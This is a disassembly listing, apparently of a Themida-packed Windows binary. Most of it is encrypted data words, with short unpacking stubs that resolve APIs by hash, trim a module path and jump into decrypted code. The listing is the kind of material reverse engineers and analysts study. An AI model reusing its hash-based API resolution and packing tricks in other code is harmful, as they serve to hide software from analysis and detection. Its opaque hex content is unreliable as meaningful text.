		dd 5CD00FC1h, 2CE0126Eh, 47EA71EDh, 1FC35206h, 3AF168E4h
		dd 5A664905h, 0DA0B13AFh, 2EF6F36Bh, 4D3A7A32h,	0E5020E3Eh
		dd 98927E62h, 4A8F28B3h, 0CC6CE35Fh, 4227036Dh,	0F9CE2696h
		dd 0BC8E4D6Ch, 59D6A9A2h, 22B24689h, 3C685E45h,	0F87467F6h
		dd 8B41F8E6h, 0A7C4A054h, 8438792Ch, 5F1354F5h,	8A38F30Dh
		dd 6A942604h, 6D8CD9EEh, 10AD5C6Eh, 0EE9E165Fh,	30E15872h
		dd 9F0DDEFh, 5DCB4EBDh,	7FF6C09Dh, 2998DCEh, 35A71449h
		dd 0FB403252h, 92DBA2Bh, 87270000h, 5B118844h, 7C31A824h
		dd 5B108743h, 792BAA1Eh, 7C887E3Ah, 9F1B5A0Eh, 78347518h
		dd 96124D01h, 7733681Fh, 4101A894h, 0A56BDA04h,	0CBE07C48h
		dd 6DCC7C6Fh, 4B8F26DDh, 0E99DDC90h, 0EB087084h, 0FBD7E391h
		dd 1CBB48DEh, 0D8D3ADBFh, 6DCC4F6Ah, 154EF38Ah,	0CE10561h
		dd 9B4F0AF4h, 9BB0B460h, 0FC1457F0h, 99B3AF67h,	76326B22h
		dd 73CFBAA4h, 93943C74h, 9423C297h, 0C383547h, 1BA76279h
		dd 0FB943CD8h, 61E63A1Fh, 9497697Eh, 9E0AD288h,	0AF2A4420h
		dd 9007C3F8h, 266507D7h, 0B909007Ah, 5D9E11B5h,	5C01E501h
		dd 4035144Eh, 78435440h, 72000008h, 3AC17DC0h, 58DF5B92h
		dd 35C478B1h, 62D95592h, 0CDBB6FAEh, 62A143B1h,	7DBE6FE6h
		dd 59943AC1h, 78AD56E5h, 34F7C9C4h, 6BDA048Eh, 2C38966h
		dd 6DCC7C44h, 41FD32D9h, 0F406D5E4h, 9B87C065h,	0EB9EC297h
		dd 67FCCAD6h, 441A3430h, 23CDFD45h, 431D1994h, 23CDFA48h
		dd 293E1A94h, 0A3DE8457h, 0BFFAB027h, 80DC2D3h,	5C3A0000h
		dd 324C1EBDh, 0CC7CCB77h, 1A2F2B6Dh, 186E4346h,	0CCA867FCh
		dd 983591D8h, 9BD89423h, 5210E104h, 76F0397Bh, 5A000001h
		dd 55417C32h, 9E529336h, 314B8027h, 7CE65C4Fh, 22FE6DCCh
		dd 8C425945h, 0A85EDD51h, 0B24CB96Dh, 0A258532Dh, 426DCC7Ch
		dd 19A83AE6h, 32D9607Ah, 4E72AB62h, 32A9BEA2h, 0E8D417Ch
		dd 1D431D58h, 0CC7CD46Eh, 1734306Dh, 7D8E4067h,	0E59C6DCCh
		dd 843E74Eh, 0F2EDEF54h, 838931D8h, 725B9233h, 0C68556D6h
		dd 114AFF62h, 10621835h, 0BB6AA549h, 9233E707h,	0B35F83DFh
		dd 5EE4A7B9h, 0B69233E7h, 0E45FBBAh, 72E9FE62h,	4BCA7EBFh
		dd 0D3AD599Ah, 762A5F08h, 0E7BD0504h, 0DD599233h, 9E24E7F9h
		dd 769233E7h, 0AD56DDFAh, 671A8C78h, 0ECC869C8h, 0A047FE33h
		dd 97BBB76Bh, 7D4DF6C5h, 80E490C7h, 7819B064h, 783E1B37h
		dd 0CD745001h, 0EFC4B094h, 5939EAE8h, 76C9EE1Ah, 18B9805Ah
		dd 35472BD7h, 3367CC76h, 2F4C2892h, 0A6D6249h, 0FD799803h
		dd 0D617BA41h, 9C43D52Ah, 7A67C7C2h, 0BE7D9423h, 9F9CE07h
		dd 7E2D532Dh, 94237AC4h, 77274420h, 0F63FD66Dh,	0E99D1C53h
		dd 7A7BC7AEh, 92799423h, 94237A30h, 0CCA858D4h,	371B5C0Dh
		dd 0B2F39625h, 0F79A2195h, 0E970CAB6h, 1A160A45h, 0B919A03Dh
		dd 98FBEF58h, 0DAF4D0B5h, 0AB5FDA04h, 0F9A08470h, 94235B49h
		dd 51FAB1ADh, 0BB443F1Ch, 539E1323h, 0C27963D7h, 5493350Dh
		dd 0CBA08470h, 0A01C5D10h, 7E3A7519h, 1EBD5CE8h, 1A7324Ch
		dd 7D5AD6CAh, 0FC2B3986h, 0AD59D567h, 44FEADD3h, 0A09423ADh
		dd 266105C4h, 5AE1F67Ah, 3C8685B2h, 0D89423ADh,	6566785Ch
		dd 309523CAh, 9F173424h, 25C05C09h, 0CFB6EF96h,	6DCC7C73h
		dd 0C7BB9793h, 0CC7C26A0h, 17AEC56Dh, 6B35FFD2h, 0A97E6F33h
		dd 25D4B2BDh, 1DF96F8Ch, 53000000h, 4F437A32h, 0CC7CBA08h
		dd 7211A06Dh, 62D60DB3h, 0CC215FA3h, 0BA5A0B6Dh, 0B2FFFFFFh
		dd 76447932h, 4D7CFFDh,	0B548255Ch, 35ECBA21h, 222BF697h
		dd 3F0B366Bh, 81000000h, 8D1BC05Ch, 7C6ED4D7h, 0AA866DCCh
		dd 32A9D71Ch, 0A02C417Ch, 75437A32h, 0A9D78A42h, 0CC7C4002h
		dd 0EE29DD6Dh, 0A8E387FEh, 0DD5C78FCh, 1F03EF28h, 3E9F4Ah
		dd 1AA10000h, 0EA463A73h, 0C05C370Dh, 0D4D78D1Bh, 6DCC7C6Eh
		dd 0F82FD564h, 9ED98D0Ch, 0C813A5C2h, 3D0BE722h, 7F32A9D7h
		dd 0D7A3293Eh, 51265B04h, 1DABE28Ah, 4002A9D7h,	0A46DCC7Ch
		dd 9038B3C8h, 4E427B32h, 0CC7CBB07h, 7312A16Dh,	6C2FBB2h
		dd 0C2ED3734h, 0FE956672h, 1A0F42E9h, 3AAB6DCCh, 0FFFFF3D3h
		dd 0F396D792h, 19656CFBh, 0AF55DEFBh, 91786678h, 6DCCE631h
		dd 0D005BED5h, 47244024h, 38A3328Fh, 84C26326h,	0E03C67FCh
		dd 4D96534h, 873C943Ch,	0B1C40DE8h, 14A4397Ah, 0E6000000h
		dd 0E40h, 6B1E4000h, 6DCC7CD7h,	9686C368h, 5CE7BD9Ah, 0A3E083BDh
		dd 7D4F73EFh, 7D3109BEh, 0EE721E42h, 0CF0407D9h, 8767FC1Fh
		dd 0A14CF6B5h, 0CCA89423h, 27DDFCA8h, 4F8D3CF0h, 0D59423A1h
		dd 4B256006h, 23A1E260h, 51260294h, 97A0E48Ah, 66DCCF9Eh
		dd 7E942354h, 0C0FB5A2h, 855B7551h, 23283C86h, 235C1194h
		dd 73AE546Bh, 0AABFA37Fh, 0C601A534h, 0AFC49EDAh, 0EB47D14h
		dd 0B68557D3h, 4420D411h, 0BEF3AC27h, 237F0E7h,	26275923h
		dd 0A6BF2A98h, 2A1B677h, 0D409C263h, 0CE4E7F51h, 1152F38Ch
		dd 0FBDC0165h, 0C08C61FFh, 0EB221BF6h, 0E0FB30h, 5C510000h
		dd 0D78F1DC2h, 0CC7C6BD4h, 0E7B5A16Dh, 0ADC4A9D7h, 80DFAAAEh
		dd 0AD2A9893h, 4ECA6DCCh, 199D4572h, 224842B6h,	771A7F45h
		dd 348E7D63h, 0AE6DCC7Ch, 0CC7C47FBh, 0CBC39F6Dh, 7C10B259h
		dd 78F46DCCh, 32A57F5Ch, 0FD764479h, 1BC05CCFh,	0C4A9D78Dh
		dd 59DC7D7Fh, 0DA680F1Ch, 3A6DCCF1h, 6B5509DEh,	0F12C9695h
		dd 6CC86DCCh, 4D7B58Fh,	0F36F235Eh, 21E021D6h, 41C0366Bh
		dd 0A000000h, 0CB80C05Ch, 2E1251F3h, 0E802DE42h, 78EB4D03h
		dd 87EB97D2h, 0ACFCB462h, 0D4D7F5CFh, 6DCC7C6Eh, 22590F86h
		dd 48CEF26Eh, 7A32F5D7h, 8A427543h, 4002A9D7h, 0A46DCC7Ch
		dd 1636B3C8h, 86000000h, 8D1BC05Ch, 7C6ED4D7h, 0B0A46DCCh
		dd 32F5D7EAh, 4275437Ah, 5B04D78Ah, 0E1F67A26h,	0FFFF1768h
		dd 7932D4FFh, 92395044h, 7584E15Dh, 0B4959466h,	5267FC11h
		dd 0C37B2AD6h, 22942396h, 0B6F7F291h, 96397B3Fh, 3Ch, 1EBD5CF4h
		dd 7C745D4Ch, 0FB9267FCh, 25170B48h, 3C7CDC66h,	183C3894h
		dd 0A521483Ch, 7A943C7Ch, 0A4BFED4h, 0E59B3AE6h, 0F685C2AEh
		dd 0EB88715Fh, 36409154h, 0EA20397Bh, 6A000000h, 50447932h
		dd 0AC589739h, 246599D2h, 6DB8FBF6h, 0E9FE37EEh, 47E9B972h
		dd 9581B66Dh, 0CAC1B591h, 0EB07EB22h, 0B2E7A037h, 336C2198h
		dd 0E490D174h, 34F36B80h, 6DCC22D6h, 4F0B40E7h,	53AF806Dh
		dd 0AEE6C0A4h, 0CC7347FBh, 9FC39F6Dh, 255A11CAh, 36CEFF71h
		dd 0CEBB1D30h, 0A62DD0ADh, 76451B35h, 0CCB794D1h
		dd 67FC360Fh, 1DFFBBB7h, 5AFA4843h, 351A943Ch, 66197E3Eh
		dd 9DE0201h, 6C7E5D7Ch,	0E724C792h, 6922373Bh, 9E0AFF51h
		dd 14A7B9B5h, 0FE7D3170h, 7FBA704Ah, 6B38F93h, 40354EE2h
		dd 600F988Ch, 5A000002h, 42B975B8h, 60D7538Ah, 3DBC70A9h
		dd 0A914D8Ah, 0B5B32766h, 2A691B49h, 458627AEh,	215C1289h
		dd 40752EADh, 0EC9FA18Ch, 6BDA0256h, 326B31AEh,	402D3F7Eh
		dd 95D7A184h, 40F6D3A9h, 61DD12B9h, 1EBD5CCBh, 0CB77324Ch
		dd 2B6DCC7Ch, 9ACF782Fh, 0F6C59BBDh, 8CC77B4Fh,	0CCB89C98h
		dd 0BB989368h, 3967FC7Ch, 0B794C982h, 0ECBB67C3h, 94238352h
		dd 866302B1h, 397B372Bh, 0D80Bh, 1A63500h, 321DA7C4h, 39504479h
		dd 0D2AC5897h, 7C45FDACh, 0B16C6DCCh, 0AB65AE9Fh, 4E2B07F7h
		dd 0CCC6B555h, 0ACE18A6Dh, 79304E30h, 6DCCBEC9h, 9F1C312Dh
		dd 0F2BFB3E8h, 23E6F8E3h, 67FCCDE6h, 934BBBA0h,	0DDA87F08h
		dd 0D9E045F9h, 572E04F9h, 0EDA1402Ch, 98B28EB2h, 161849B3h
		dd 1C31E92Fh, 0EB9F1A44h, 4673CFBAh, 9793943Ch,	34E59EBBh
		dd 0D29E0A8Bh, 13B58456h, 25E4FAD4h, 9E11F99Dh,	74A96279h
		dd 0AEC0A480h, 11F947FBh, 0A6C39F9Eh, 0C807A930h, 3558EB23h
		dd 68712540h, 143h, 8E4A8D3Dh, 0AE2A6107h, 95498227h, 0A8246106h
		dd 8C407F31h, 3CF0629Eh, 17BA41FDh, 2FD362D6h, 0AC138F4h
		dd 8A7659D5h, 0DA03239Fh, 5EE6C36Bh, 8B3F7E32h,	0AA1E530Ch
		dd 4479321Ch, 67923950h, 7C309279h, 58D46DCCh, 0CC7C11B1h
		dd 8883F56Dh, 6DCC7C3Ah, 7E627EDAh, 7D5E75CAh, 271FA863h
		dd 98D567FCh, 8AC6FC91h, 6DA5D1BAh, 498E17B6h, 0CE4A502Dh
		dd 9B27E2FCh, 7B94238Dh, 4980289Fh, 0D68D4C34h,	0F5AE2DA1h
		dd 0D8DFD4C0h, 3442E903h, 0D09E1911h, 0F117AB5Eh, 73EF9E15h
		dd 509AEA4Fh, 144031h, 9A97h, 0AFF29400h, 8DC47CFBh, 6AA34AD1h
		dd 87C467EEh, 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh
		dd 54E35792h, 0C7C276ABh, 0FC8C36F5h, 8B686BDAh, 1EBD5CC1h
		dd 0E05D5D4Ch, 0D6967F6h, 0A41E0DF3h, 409425E0h, 0B86CA349h
		dd 6A2198BCh, 14661835h, 19CCA045h, 2C482CD8h, 54DFFC78h
		dd 33C276ABh, 0FCAB578Ch, 0C646447Bh, 0C160FFA0h, 40FBD50Ah
		dd 0C0A45089h, 0FBA433ABh, 7E60DAC6h, 463C378Bh, 7653CFA6h
		dd 0D9CD0ABDh, 949D34CFh, 7302B6EBh, 0FAEB97CCh, 3, 326D5F52h
		dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh
		dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h,	81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 89522434h, 4C281E2h
		dd 83000000h, 148704EAh, 3C895C24h, 3D116824h, 34890000h
		dd 31B85024h, 8311BF34h, 0D140FFE8h, 1D22DE0h, 0C7891D68h
		dd 4EC8358h, 83242489h,	5E042404h, 8468F57h, 5E2434FFh
		dd 4C481h, 34FF0000h, 0C4835F24h, 0FEA6E904h, 9247FFF9h
		dd 7AB77EB7h
; ---------------------------------------------------------------------------


loc_5B3638:				; CODE XREF: Themida_:loc_5B1A3Cj
		mov	eax, 616815Dh
		add	eax, ebp
		push	eax
		mov	byte ptr [ebp+61023E5h], 47h
		push	0CF381725h
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+6103A32h]
		call	eax
		mov	ebx, eax
		lea	eax, [ebp+6102B01h]
		push	eax
		push	104h
		call	ebx
		mov	byte ptr [ebp+61023E5h], 53h
		push	8307F8BFh
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+6103A32h]
		call	eax
		mov	[ebp+6166470h],	eax
		cmp	dword ptr [ebp+6103105h], 0
		jz	loc_5B36A2
		mov	ebx, [ebp+6102089h]
		jmp	loc_5B36A7
; ---------------------------------------------------------------------------


loc_5B36A2:				; CODE XREF: Themida_:005B3691j
		mov	ebx, 0


loc_5B36A7:				; CODE XREF: Themida_:005B369Dj
		push	100h
		lea	esi, [ebp+6166474h]
		push	esi
		push	ebx
		call	dword ptr [ebp+6100245h]
		lea	esi, [ebp+6166474h]
		add	esi, eax
		jmp	loc_5B36C8
; ---------------------------------------------------------------------------


loc_5B36C7:				; CODE XREF: Themida_:005B36D4j
		dec	esi


loc_5B36C8:				; CODE XREF: Themida_:005B36C2j
		cmp	byte ptr [esi],	5Ch
		jz	loc_5B36DA
		cmp	byte ptr [esi],	2Fh
		jnz	loc_5B36C7


loc_5B36DA:				; CODE XREF: Themida_:005B36CBj
		mov	byte ptr [esi],	0
		lea	eax, [ebp+6166474h]
		push	eax
		call	dword ptr [ebp+6166470h]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		db 6Eh,	8Fh, 0E6h
; ---------------------------------------------------------------------------
		adc	eax, ebp
		sub	esi, ecx
		or	[ebx], ch
		ficom	dword ptr [esi+ecx*2]
		jmp	loc_5B3742
; ---------------------------------------------------------------------------
		dw 2241h
		dd 8C9332DDh, 0E89DE61Dh, 746E2E81h, 2E6C6C64h,	6C6C64h
		dd 0B2BD1467h, 0FEB98003h, 9 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B3742:				; CODE XREF: Themida_:005B36F9j
		jmp	loc_5B3E2D
; ---------------------------------------------------------------------------
		push	6168410h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61684D7h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	616859Eh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	616868Fh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	616875Fh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6168849h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 1Ah
		dd 2793578h, 2097134Ah,	0FD7C3069h, 0CA510D4Ah,	7573E726h
		dd 0EA29DB09h, 546E76Eh, 0E11CD249h, 35EE6Dh, 0AC5F614Ch
		dd 6BDAFF16h, 0D72BF1EEh, 7F2A6104h, 6DCC7CC3h,	772B4723h
		dd 2863DEFBh, 0D9000000h, 2A447932h, 0A5E28554h, 3C8675F1h
		dd 0D86DCC7Ch, 0F3CF10C1h, 0FAB128D6h, 0E46209C5h, 396DCC7Ch
		dd 0CF0CBF95h, 5CB137F3h, 5D4C1EBDh, 67FC0FB0h,	771ED24Eh
		dd 942391CFh, 0FBFE952Eh, 397B48B2h, 25192h, 0D7D2AC00h
		dd 94239D6Bh, 0F2BA8F8Bh, 216004D7h, 0DB5C724Ch, 0DECD9F3Ch
		dd 67FC2045h, 99420561h, 5871781Ch, 2B45961Dh, 3D3B9780h
		dd 0D9F36F52h, 8571AC62h, 66DCCFA1h, 7E427D5Dh,	0ECD9C5A2h
		dd 4D3C0ECDh, 484AA06Fh, 342E675h, 5E2F34E6h, 2B2F5B2h
		dd 0F9C09AB6h, 94C98252h, 0EC6084E0h, 0DC81B66Dh, 9A75CA5Eh
		dd 12736430h, 22000005h, 2AB12D70h, 88F4B82h, 25B42861h
		dd 12894582h, 0BDAB1F5Eh, 32711341h, 0D4EFF76h,	0E924CA51h
		dd 83DE675h, 0A4675954h, 6BDAF81Eh, 0D733F9F6h,	7A265B04h
		dd 0B15AE1F6h, 0F869627Ch, 4D865B55h, 0A81D09DEh, 0BBB0CA11h
		dd 0FFCBF98Ch, 0D978654Eh, 3E767EA4h, 3CEF11E6h, 67FCBDFFh
		dd 21581087h, 59D5F175h, 0F05C4687h, 0B082B803h, 0A7AD039Bh
		dd 44307114h, 5B7A0BE0h, 26BB6E80h, 9E9E0C93h, 1A2F641Bh
		dd 0A2490C68h, 67913ACBh, 0CAA437BEh, 487F25B4h, 0DA9F7833h
		dd 0FB773CBEh, 0C01BBA07h, 43DDFBAEh, 492532C9h, 0C6FBA437h
		dd 53562812h, 22D340EFh, 854E2B07h, 2C44A9DEh, 0E2FCF7C5h
		dd 44BA132h, 0AB5B0000h, 0BF65F468h, 0A045D488h, 0BF64F367h
		dd 9D4FC682h, 80FCEA5Eh, 0EB5F9E52h, 0C478B96Ch, 0E2569135h
		dd 0C377AC53h, 8D35F4C8h, 696BDAF8h, 7932C08Ch,	0E0D1733Bh
		dd 0CEF26476h, 51863DFCh, 0FAACC1A5h, 13EDEE05h, 989FC7DAh
		dd 0F9B059B4h, 96D1956h, 0C81D0CF4h, 5667FC9Bh,	75B255E4h
		dd 3CFB3C86h, 785CD894h, 8D585FC4h, 3CFB249Eh, 8064C094h
		dd 79E0BB6Eh, 9E7A9E06h, 8327B2CCh, 0A2BEF9ADh,	0DE5572EEh
		dd 623CF025h, 0E1F635D7h, 2CE1B15Ah, 3EFDCFF3h,	0DB574B8Ah
		dd 24B300FEh, 0D0BBA5B7h, 9E167872h, 63B19692h,	0FA25F406h
		dd 4F3A1E3Bh, 94263642h, 1C5B0D84h, 0D7EB9338h,	91855E22h
		dd 38408h, 0AFF29400h, 8DC47CFBh, 6AA34AD1h, 87C467EEh
		dd 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh, 54E35792h
		dd 0C7C276ABh, 0F98C36F5h, 8B686BDAh, 447932C1h, 87546350h
		dd 5B9B675h, 3E5567FCh,	0DB574B8Ah, 0D9C243F7h,	0EE000001h
		dd 8AA91910h, 0D14D9423h, 0C41530FCh, 306F2198h, 65A24544h
		dd 0EB22CA81h, 0BF1E3B37h, 0B7C9A338h, 0CC7C4EF4h, 0FBC1A66Dh
		dd 248C5CB6h, 1D7F4D0h,	69A85CDFh, 4F02B9BDh, 0D152390Eh
		dd 0F567FCBDh, 0F10DBE79h, 0F0896109h, 6D8F2E9h, 0FF9131D8h
		dd 0F975697Fh, 540D07D4h, 8C6102FBh, 4F0C629Fh,	56280463h
		dd 0C3FCB128h, 6E8B6ED4h, 0CDAA8693h, 6D5E4D1h,	994AF7F4h
		dd 6CD1F011h, 9AC2698Fh, 6A995982h, 1B111F8h, 0D9559542h
		dd 0AF58E3FDh, 9037BE7Ah, 1ED207C0h, 0DBB91E42h, 754B6684h
		dd 29338A1h, 3A30000h, 0D78D0CC0h, 0F8AD2CA0h, 0D78C0BBFh
		dd 0F5971E9Ah, 0F80402B6h, 33A7E68Ah, 0CC001A4h, 2A9ED98Dh
		dd 0BBFF4ABh, 0D56D1C20h, 316BDAFAh, 0A9D7E8B4h, 50447932h
		dd 7C9D25D4h, 0FD796DCCh, 77AC53E0h, 0A19F368Bh, 60C4B0EFh
		dd 7ABF6A84h, 0C67FC12h, 0B6009C10h, 2739A231h,	13C9FF64h
		dd 0CA80179Eh, 637FE38Fh, 53AE6489h, 2F9A35A9h,	6BEE9D1Ah
		dd 0F66DF566h, 0BF0306DFh, 57093166h, 0B80A01DBh, 5C093166h
		dd 1F0AE400h, 30103E2h,	0F932D762h, 4E421EE4h, 6BAC5DDCh
		dd 316820B7h, 0EA53815h, 0D0F8B3CDh, 3039177Ch,	0B7311A34h
		dd 72D0BB19h, 92351519h, 35EBB196h, 0B9805875h,	0DA61DD12h
		dd 0BB4FFC31h, 0F5EB3159h, 1C3B821h, 33D30000h,	7BD3CF0h
		dd 28DD5CD0h, 7BC3BEFh,	0E5870ECAh, 0C83432A6h,	3B7F69Ah
		dd 1C90D174h, 0FAAEE99Dh, 1B8FC47Bh, 0E55D4C30h, 16BDAFBh
		dd 793218A4h, 0EDDE5044h, 6289BFCEh, 9CE9FE17h,	728C5E7Dh
		dd 0E6259D8Ch, 0CAC16DCCh, 3A36EA23h, 954A4116h, 3167FC92h
		dd 0A6A77935h, 1B97C0C0h, 98344921h, 4C1EBD5Ch,	0F6FE185Dh
		dd 0B0CAA667h, 1C570BCEh, 96CB743Fh, 1453F5C4h,	4FF87F37h
		dd 0B38FCC7Fh, 0EFE3F2BFh, 1FD246EFh, 24C9F9DEh, 0C39DAF93h
		dd 371455F8h, 1F93194Ch, 61BCA19Eh, 7DB46CAEh, 7AC0AD89h
		dd 0F00AE694h, 99A71B0Eh, 483F9E1Eh, 6F8C68A1h,	4919D289h
		dd 0BBB76BA4h, 0EB942397h, 0DEF5CAB6h, 826EAF62h, 31A8C29Eh
		dd 5028457Ah, 2EE06459h, 5A0B8294h, 0ED096D19h,	2A258080h
		dd 8D160E5Eh, 0D9h, 520649E9h, 72E61DC3h, 49053EE3h, 6CE01DD2h
		dd 40FC3BEDh, 18CC3E4Ah, 33D665D9h, 0BBF36F2h, 26DD5CD0h
		dd 6E523DF1h, 0DAF407BBh, 3A02DF6Bh, 0E283BD5Ch, 6F236206h
		dd 0D9F3CFF3h, 0F6FE0332h, 7B270367h, 63943A01h, 25011AA8h
		dd 421EFA94h, 0C0F5AE25h, 0A1D68D0Ch, 50527BF5h, 4BB00F17h
		dd 0E0F09BB0h, 3DC9EA03h, 0BD66CF66h, 9E45D488h, 0F2699769h
		dd 0AA18FF3Eh, 4AA8D182h, 0B50DFCCEh, 51A8D182h, 3406F8D5h
		dd 10C700A5h, 0D691D5Ch, 83C063F0h, 0B9F98469h,	557E1366h
		dd 0E3F82DD6h, 6302B123h, 0F130D467h, 8F4C2105h, 0B027A3D8h
		dd 5CCEC2F7h, 0D516B782h, 0EC564521h, 8A8D1CAh,	0F4A0DF91h
		dd 32D55470h, 482501F5h, 899h, 6E14A700h, 5F8E1633h, 3D80326Dh
		dd 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h
		dd 448126A5h, 5B943950h, 417830A7h, 5450CF55h, 40558h
		dd 0E8830000h, 24048704h, 0E089505Ch, 405h, 42D00h, 4870000h
		dd 3C895C24h, 70E6824h,	0C890000h, 1EB85024h, 0F70F8138h
		dd 43BC0DD8h, 2D405D64h, 218A5FEEh, 0E4FA2D40h,	5F50D5DDh
		dd 0C8B5458h, 4C48324h,	4EC81h,	3C890000h, 8418F24h, 592434FFh
		dd 0FF04C483h, 835F2434h, 0B9E904C4h, 80FFF9F6h, 6774E65Dh
		dd 0F48589DEh, 0D3472AEFh
		db 0F0h
; ---------------------------------------------------------------------------


loc_5B3E2D:				; CODE XREF: Themida_:loc_5B3742j
		mov	eax, 6168947h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 89E9h
		db 0CCh
		db 37h,	0D7h, 83h
		dd 0AEF03954h, 0F7FE7B24h, 7B080A1Ch, 34650937h, 39712821h
		dd 0D4384DECh, 51B03A40h, 672E230Bh, 1B185E64h,	0FA7B13D8h
		dd 874D1163h, 0F9F9261Dh, 0B93D6F32h, 68B81876h, 0BFDE6488h
		dd 71426F8h, 4F1205Ch, 87EB1B37h, 5A404D2Eh, 966F512Ah
		dd 2F095860h, 1EAA240Ah, 0D720343Bh, 21B817B0h,	11E80DAFh
		dd 3C000000h, 0E9C702EFh, 0A9010129h, 0FCF2A1FAh, 2026B4BFh
		dd 4F5C8EBBh, 97BF5E2Ah, 8159EA2Bh, 5FD3C6h, 0FE86000h
		dd 21000000h, 77D21670h, 78195D6h, 90C7532Bh, 6160A328h
		dd 3820F5Eh, 66000000h,	2B61C88Bh, 0C38166D2h, 34FFAD9Ah
		dd 0E959F932h, 9, 8ED918ACh, 1845A44Ah,	0FE981D8h, 0F5D59CBh
		dd 38Bh, 0FBBF0F00h, 494FE981h,	8B665232h, 5DE981D9h, 895DE29Bh
		dd 0B0BF160Ch, 0F3F91D8h, 8Ah, 2EA8300h, 0F4A4AF5h, 0FA81D8BFh
		dd 0FFFFA0F4h, 19850Fh,	0F88B0000h, 25E9h, 0C8EB3900h
		dd 0EF020732h, 0BB55E828h, 0B933E0F1h, 0F5F95A12h, 0FFFF8DE9h
		dd 1ECF5CFFh, 7B49F7B4h, 0AE078E6Ch, 25E947B4h,	5D000000h
		dd 7B42ECh, 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B43E6
; ---------------------------------------------------------------------------
		push	6168C4Eh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6168CCEh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6168DF3h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 0E2h
		dd 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h, 7D6BDF1Eh
		dd 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h, 64271914h
		dd 6BDAF7DEh, 0D7F3B936h, 6F235E04h, 0AB5DD6F3h, 0B259926Ch
		dd 0C2BBA547h, 0B7CED0ADh, 25FDB10h, 1316E8F3h,	67FCC48Eh
		dd 0A7324C28h, 0F5B1C605h, 3CC418A6h, 29C8FB94h, 7A7E01CCh
		dd 2B4E139h, 152B0000h,	8227B2BAh, 9182CE40h, 0A1C5249Bh
		dd 0F233D6F5h, 4D6CF9CEh, 0C68FBC8Eh, 1C258DFDh, 4B3E2237h
		dd 67FC0CD6h, 845A74F0h, 3C753D85h, 805DD994h, 0EB3708AFh
		dd 0A3329159h, 32632638h, 0CC9B76B3h, 0C84FA450h, 0E195D478h
		dd 718F6185h, 0ED0A43EAh, 86B9FE36h, 0E1919691h, 0C9927265h
		dd 284137C1h, 0DAF6F26Ah, 0B66AA95Bh, 87C496BAh, 0A8E1A77Ah
		dd 0C197B415h, 0A01C51FAh, 0E9A27219h, 483C7319h, 181C08ECh
		dd 4A2D8F3Ch, 53434383h, 27242h, 0FF42E400h, 0DD14CC4Bh
		dd 0FA33DA61h, 0D714B73Eh, 0F130D463h, 0C1334F3Dh, 0DD5CD00Fh
		dd 0E86FEB2Ch, 0C4530742h, 7772E61Bh, 0F03C8685h, 0DBD86BDAh
		dd 15BD5C51h, 0A467670Bh, 6DCCD61Eh, 7F4D7AF6h,	0EB05E191h
		dd 0F6559A40h, 0DCEE6A67h, 4E943702h, 87BE4095h, 0E3FDD9DFh
		dd 261C9A28h, 0C99E7A94h, 0DF845E12h, 4E72EEA2h, 6AA95BDAh
		dd 1C54EFB6h, 40E79426h, 62705E0Bh, 61E4A03h, 1F29Dh, 7FC26400h
		dd 5D944CCBh, 7AB35AE1h, 579437BEh, 71B054E3h, 41B3CFBDh
		dd 5DDC508Fh, 68EF6BACh, 44D387C2h, 0F7F2669Bh,	0F0BC0605h
		dd 5B586BDAh, 83BD5CD1h, 8D449DDDh, 39BA2B0Fh, 3927391Dh
		dd 0E95314h, 8B603F04h,	0F6E73AA0h, 0A24ECA67h,	25A94BF3h
		dd 7A19AA94h, 81552E7Fh, 1400E39h, 327C0000h, 39504479h
		dd 0D20BC292h, 0AA1E421Eh, 431DBE55h, 7B32301Dh, 0BE3DAA25h
		dd 68D902A9h, 312D67FCh, 1FA81645h, 0F54B943Ch,	2AA5DF8h
		dd 0A6C34599h, 327B7E15h, 0A2397A8Ah, 260835A9h, 2F3C7B23h
		dd 995A2C5Dh, 0B315320Eh, 23h, 83BD5C19h, 0B1CBA7DCh, 0FC7CD9FAh
		dd 35E13D67h, 2383D866h, 0E9883B94h, 7B36C10Ch,	8DA139h
		dd 0D7EB0000h, 740FEB96h, 6E32A7Dh, 0B561964Dh,	0C4D00BBh
		dd 0E6C064EFh, 79100441h, 89ED99D6h, 0FE9D896Dh, 65641045h
		dd 16D589BEh, 6DCC648Ah, 0BB6FA45Bh, 728C4F66h,	0FAD189B7h
		dd 0F30D6967h, 0C985C468h, 1DC49E52h, 655B00E4h, 2B4A04A8h
		dd 0CD6A7Bh, 8F3F0000h,	6309904Ch, 8429B02Ch, 63088F4Bh
		dd 8123B226h, 64A08642h, 971352F6h, 0B02C6D20h,	8E4A8529h
		dd 0AF2B6007h, 79C9C0BCh, 9D6BDAF1h, 7E327440h,	530C8B3Fh
		dd 321CAA1Eh, 0AF2A4479h, 0FDA9BEFDh, 0B25525DEh, 88DD5175h
		dd 99906A71h, 67FCCAA8h, 41F8D24Eh, 2DDC508Fh, 9423CD91h
		dd 14C8FDA6h, 0BDFEAF2Ah, 0C3906DC9h, 3C2EE221h, 6A03F50Fh
		dd 0A2B789ADh, 5227h, 0BD5C9500h, 0F95D4C1Eh, 567F687h
		dd 0A55E7D29h, 863DBC70h, 95F6A551h, 8E1151AAh,	2DBEF9F2h
